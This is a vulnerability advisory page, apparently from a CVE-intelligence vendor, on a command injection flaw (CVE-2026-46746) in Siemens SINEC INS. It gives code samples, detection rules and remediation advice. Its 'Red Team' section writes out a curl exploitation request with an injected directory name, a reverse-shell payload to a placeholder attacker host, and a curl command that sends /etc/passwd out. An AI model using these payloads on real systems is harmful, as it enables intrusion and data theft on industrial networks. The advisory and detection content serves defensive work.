☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Siemens logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-46746

CVE-2026-46746 Remote Code Execution in Siemens
📅 PUBLISHED: 2026-06-09 10:16 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: vV1.0 SP2 Update 6 — source: siemens. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.79%
👁️
0.79% probability
19.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Germany License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-46746 is a critical OS command injection vulnerability in Siemens SINEC INS, a network infrastructure management solution. The flaw resides in the /api/sftp/uploadFiles endpoint, where the application fails to properly sanitize user-supplied directory names. An authenticated attacker can inject arbitrary shell commands via crafted directory names. These commands are stored and subsequently executed when directory listings are retrieved, leading to remote code execution on the underlying operating system with the privileges of the sinecins service user. The CVSS score is 8.8 (High), and no public exploit or patch is currently available. This vulnerability poses a significant risk to industrial environments using SINEC INS for network configuration and monitoring.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 8.8 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions are required for exploitation.
  • Privileges Required (PR): Low – An attacker must have valid credentials to access the /api/sftp/uploadFiles endpoint.
  • User Interaction (UI): None – No user action is needed for exploitation.
  • Scope (S): Unchanged – The vulnerable component and the affected system are the same.
  • Confidentiality (C): High – Full compromise of system data.
  • Integrity (I): High – Full compromise of system data integrity.
  • Availability (A): High – Full compromise of system availability.

Threat Level: High. The combination of network exploitability, low privileges required, and high impact makes this a critical threat for any organization using SINEC INS.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78) in the /api/sftp/uploadFiles endpoint. The application accepts a directory name as part of the file upload process. This directory name is not sanitized or validated before being used in a shell command to create the directory or list its contents.

Attack Flow:

  1. Authentication: The attacker must first authenticate to the SINEC INS web interface.
  2. Crafted Payload: The attacker sends a POST request to /api/sftp/uploadFiles with a directory name containing shell metacharacters, such as ;, |, $(...), or backticks. For example: ;id > /tmp/out;.
  3. Storage: The application stores the malicious directory name in its database or filesystem.
  4. Trigger: When an administrator or the system retrieves a directory listing (e.g., via the web UI or API), the application constructs a shell command using the unsanitized directory name.
  5. Execution: The injected command is executed with the privileges of the sinecins service user, allowing the attacker to execute arbitrary commands.

Root Cause: The lack of input validation and the use of shell commands to handle file system operations. The application should use safe APIs (e.g., os.mkdir in Python) instead of shelling out to mkdir or ls.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable endpoint handler
@app.route('/api/sftp/uploadFiles', methods=['POST'])
def upload_files():
    directory = request.form['directory']
    # No sanitization
    os.system(f'mkdir -p /sftp/{directory}')
    # Later, when listing:
    output = os.popen(f'ls -la /sftp/{directory}').read()
    return output

Patched Code (Conceptual):

import shlex
import subprocess

@app.route('/api/sftp/uploadFiles', methods=['POST'])
def upload_files():
    directory = request.form['directory']
    # Sanitize: allow only alphanumeric, underscores, hyphens
    if not re.match(r'^[a-zA-Z0-9_-]+$', directory):
        return "Invalid directory name", 400
    # Use subprocess with list arguments to avoid shell injection
    subprocess.run(['mkdir', '-p', f'/sftp/{directory}'], check=True)
    # For listing, use os.listdir or pathlib
    files = os.listdir(f'/sftp/{directory}')
    return jsonify(files)

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid credentials for SINEC INS (low-privileged user).
  • Network access to the SINEC INS web interface.

Exploitation Steps:

  1. Authenticate: Obtain a session cookie via login.
  2. Craft Payload: Create a directory name with a command injection payload. For example, to execute id and write output to a file:
    ;id > /tmp/pwned;
    
  3. Send Request:
    curl -X POST https://target/api/sftp/uploadFiles \
      -H "Cookie: session=valid_session" \
      -F "directory=;id > /tmp/pwned;" \
      -F "file=@test.txt"
    
  4. Trigger Execution: Access the directory listing endpoint or wait for an admin to view the directory.
  5. Verify: Check if the command executed by reading the output file:
    curl -X GET https://target/api/sftp/list?path=/tmp/pwned
    

Advanced Payloads:

  • Reverse shell: ;bash -i >& /dev/tcp/attacker_ip/4444 0>&1;
  • Data exfiltration: ;curl http://attacker_ip/$(cat /etc/passwd);

Blue Team

Detection & Response:

  1. Monitor API Logs: Look for unusual directory names containing shell metacharacters (;, |, $, `) in requests to /api/sftp/uploadFiles.
  2. Audit File System: Check for unexpected files in /sftp/ directory or /tmp/ with suspicious names.
  3. Network Monitoring: Detect outbound connections from the SINEC INS server to unknown IPs (potential reverse shells).
  4. Process Monitoring: Watch for unexpected child processes spawned by the sinecins service user, especially shell commands like sh, bash, id, curl, etc.

Honeypot Setup:

  • Create a fake directory with a name that triggers an alert when accessed.
  • Use a canary token in the directory name to detect listing attempts.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /api/sftp/uploadFiles with directory parameters containing shell metacharacters.
  • Outbound connections from SINEC INS server to unusual IPs on common ports (4444, 8080, etc.).

File System IOCs:

  • Unexpected files in /sftp/ directory with names containing shell metacharacters.
  • Files in /tmp/ or /var/tmp/ created by the sinecins user (e.g., /tmp/pwned).
  • Presence of reverse shell scripts or binaries.

Process IOCs:

  • Child processes of sinecins service running sh, bash, python, perl, curl, wget, nc, etc.
  • Unexpected execution of id, whoami, uname -a commands.

Log IOCs:

  • Application logs showing directory names with ;, |, $, ` characters.
  • System logs (e.g., /var/log/syslog) showing shell commands executed by the sinecins user.

Detection Engineering

YARA Rule

rule CVE_2026_46746_SINEC_INS_Command_Injection {
    meta:
        description = "Detects command injection attempts in SINEC INS /api/sftp/uploadFiles endpoint"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-46746"
        severity = "high"
    strings:
        $s1 = "/api/sftp/uploadFiles" ascii wide nocase
        $s2 = "directory=" ascii wide nocase
        $s3 = ";" ascii wide
        $s4 = "|" ascii wide
        $s5 = "$(" ascii wide
        $s6 = "`" ascii wide
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: SINEC INS Command Injection via /api/sftp/uploadFiles
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts in SINEC INS /api/sftp/uploadFiles endpoint
author: Valters IT
date: 2026/01/01
tags:
    - attack.t1203
    - cve.2026.46746
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/sftp/uploadFiles'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in directory names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-46746 SINEC INS Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/sftp/uploadFiles";
    http_uri;
    pcre:"/(;|\||\$\(|`)/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate: If possible, isolate the SINEC INS server from untrusted networks.
  2. Restrict Access: Limit access to the /api/sftp/uploadFiles endpoint to only trusted IPs or users.
  3. Monitor: Implement the detection rules above to identify any exploitation attempts.

Long-Term Fixes:

  1. Patch: Apply the official patch from Siemens as soon as it becomes available (currently UNKNOWN).
  2. Input Validation: Implement strict input validation for directory names, allowing only alphanumeric characters, underscores, and hyphens.
  3. Safe APIs: Replace shell commands with safe programming language APIs (e.g., os.mkdir, os.listdir in Python).
  4. Least Privilege: Ensure the sinecins service user has minimal privileges required for its function.

Workarounds:

  • Disable the SFTP upload functionality if not needed.
  • Use a web application firewall (WAF) to block requests containing shell metacharacters in the directory parameter.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-46746/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.